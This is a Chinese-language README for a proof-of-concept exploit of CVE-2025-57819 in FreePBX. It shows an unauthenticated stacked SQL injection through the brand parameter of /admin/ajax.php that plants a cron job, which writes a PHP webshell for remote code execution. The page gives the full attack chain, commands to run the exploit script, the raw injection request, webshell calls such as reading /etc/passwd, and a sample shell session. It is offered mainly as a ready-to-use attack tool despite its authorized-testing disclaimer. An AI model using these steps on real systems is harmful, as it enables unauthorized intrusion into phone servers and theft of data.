CVE-2025-57819 是 FreePBX 中的一个严重 SQL 注入漏洞,未认证的攻击者可通过将 SQL 注入与 cron 任务注入相结合来实现远程代码执行。
⚠️ 免责声明:本仓库仅用于授权安全测试和教育目的。未经授权对你不拥有或未获得明确测试许可的系统使用此漏洞利用程序属于违法行为。作者不对任何滥用或损害负责。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-57819 |
| 受影响产品 | FreePBX(认证前) |
| 漏洞类型 | SQL 注入(堆叠查询) |
| 影响 | 远程代码执行 (RCE) |
| 攻击向量 | 网络 (HTTP GET) |
| 是否需要认证 | ❌ 无需认证 |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php 端点处理 brand 参数时未进行适当的清理,从而允许堆叠 SQL 查询。INSERT INTO cron_jobs 语句,安排每分钟执行一次恶意命令。# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
使用 --shell 时,脚本会进入一个伪终端:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
输入 exit(或按 Ctrl-C、Ctrl-D)即可退出会话。
如果你更倾向于手动操作,该利用程序会执行以下三项操作:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
注入的 cron 任务(* * * * *)每分钟运行一次并写入 webshell。
GET /shell.php?cmd=id
测试完毕后,删除 webshell 和 cron 任务条目:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
然后从文件系统中删除 /var/www/html/shell.php。
/admin/ajax.php 的系统本项目仅用于教育和防御性安全研究目的。请参阅本文档顶部的免责声明。